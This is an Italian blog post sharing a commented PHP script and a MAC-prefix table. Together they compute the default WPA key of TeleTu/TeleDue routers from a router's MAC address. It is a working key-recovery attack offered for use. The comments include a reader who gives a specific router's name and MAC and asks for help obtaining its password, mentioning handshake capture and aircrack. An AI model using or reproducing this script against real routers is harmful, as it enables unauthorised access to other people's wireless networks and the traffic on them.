Script per il calcolo della chiave WPA dei router TeleTu/TeleDue

Mi sono adoperato a studiare la ricerca di swsooue e deinde del forum http://www.wifi-shark.co.cc/forum sui router TeleTu al fine di creare uno script per la generazione della chiave WPA di default.

In questo caso ci serve sapere il MAC Address per arrivare alla WPA e dobbiamo possedere una tabella (che allego qui) dove sono contenuti alcuni valori essenziali per generare la WPA.

Di conseguenza il lettore dovrà ampliare la propria tabella a mano oppure utilizzare la mia app/webapp iWiFiSecure o altri software disponibili in rete
Lo script è commentato, in modo tale il lettore avrà la possibilità non solo di utilizzarlo, ma anche di capirlo, che è la cosa più importante.

<?php
/***************************************************************************
*   Script PHP per la verifica di chiavi WPA su reti TeleTu               *
*                                                                         *
*   TeleTu for iWiFiSecure                                                *
*   by rriky92 – rriky92@gmail.com – http://www.rriky92.it                *
*   basato sul lavoro di swsooue e deinde                                 *
*                <http://www.wifi-shark.co.cc/forum>                      *
*                                                                         *
*   This program is free software; you can redistribute it and/or modify  *
*   it under the terms of the GNU General Public License as published by  *
*   the Free Software Foundation; either version 2 of the License, or     *
*   (at your option) any later version.                                   *
*                                                                         *
*   This program is distributed in the hope that it will be useful,       *
*   but WITHOUT ANY WARRANTY; without even the implied warranty of        *
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *
*   GNU General Public License for more details.                          *
*                                                                         *
***************************************************************************/
//ricevo indirizzo mac tramite GET
$MAC = $_GET[“mac”];
//Rimuovo eventuali doppi punti e altre cose dal MAC
$string = array(“:”, “-“, “.”, ” “, “,”,);
$mac1 = str_replace($string, “”, $MAC);
//Converto in maiuscole
$mac1 = strtoupper($mac1);
//prelevo prime 6 cifre dal MAC
$mac2 = substr($mac1,0,6);
//prelevo ultime 6 cifre dal MAC
$mac3 = substr($mac1,-6);;
// carica la lista della tabella
$fileData = @file(‘table.txt’);
if ($fileData == false) die(“Non riesco a trovare il file table.txt”);
foreach($fileData as $line_num => $line) {
if($line == ”){
continue;
}
//creo array delle cose saparate dalla virgola nella tabella
$aLine = explode(‘,’ , $line);
//controllo quale riga contenga le prime 6 cifre del mac
if($mac2 == $aLine[0]){
//controllo quale riga tra quelle che soddisfano la richiesta precedente
//contenga il MAC compreso
if ($mac3 > $aLine[1]){
if ($mac3 < $aLine[2]){
//converto in decimali le ultime 6 cifre del MAC e la BASE
$mac3dec = hexdec($mac3);
$aLine4dec = hexdec($aLine[4]);
//eseguo la sottrazione
$sottr = $mac3dec – $aLine4dec;
//eseguo la divisione
$SN2 = $sottr / 2;
//verifico la lunghezza del risultato se = a 7 imposto valore wpa
if (strlen($SN2) > 6){
$SN = $aLine[3].”Y”.$SN2;
}
//verifico la lunghezza del risultato se < 7
if (strlen($SN2) < 7){
//controllo quanti caratteri manco per arrivare a 7
$lung = 7 – strlen($SN2);
//inserisco caratteri rimanenti prendendoli dal SN2
$rest = substr($SN2, 0, $lung);
//Converto quelle cifre come 0
$CONV = array(“1″,”2″,”3″,”4″,”5″,”6″,”7″,”8″,”9”,);
$SNP = str_replace($CONV, “0”, $rest);
//appendo gli 0 ottenuti davanti a SN2
$SN3 = $SNP.$SN2;
}
//controllo che ora siano 7 caratteri
if (strlen($SN3) > 6){
//imposto valore wpa
$SN = $aLine[3].”Y”.$SN3;
}
}
}
}
}
//stampo WPA
echo $SN;
?>

Mentre vi allego la tabella:

00238E,E50000,E5FFFF,15301,E4C0D5
00238E,E80000,E8FFFF,15301,E7E737
002553,8A0000,8AFFFF,15301,8951EB
002553,8B0000,8BFFFF,15301,8AA579
002553,8D0000,8DFFFF,15301,8C2449
38229D,160000,16FFFF,15302,1606D7
Precedente Comunicazione di servizio: Cambio Server per iWiFiSecure e iAnonyMail[Aggiornato] Successivo iOS Update: iWiFiSecure 1.2

10 commenti su “Script per il calcolo della chiave WPA dei router TeleTu/TeleDue

  1. randi il said:

    salve ragazzi non riesco a capire quale e il mac address della rete teletu e dove posso vedere??
    es: TeleTu_74888B2C6B04
    qui il mac address e parte numerico??

    • Il mac address di una rete in generale non è il nome della rete ma l “indirizzo” del router e puoi vederlo con dei software per il computer… Solitamente ha questo formato 00:00:00:00:00:00

      Potrebbe coincidere con il nome della rete e nel tuo caso sarebbe la parte dopo il trattino basso (“_”)

  2. Carlo Regis il said:

    Volevo sapere se potevate aiutarmi a trovare la password di un ruter TeleTu
    Questo é il suo nome : TeleTu_842615BD31D3
    Questo il suo mac address : 84:26:15:BD:31:D4

    Con commonview wifi fi ho catturato il file.cap ma poi con aircrack non ho il dizionario giusto per fare itest… servirebbe un dizionario contenente i diversi tipi di password teletu..

    Potete aiutarmi a trovare la password di questo router?

    Buona giornata

Lascia un commento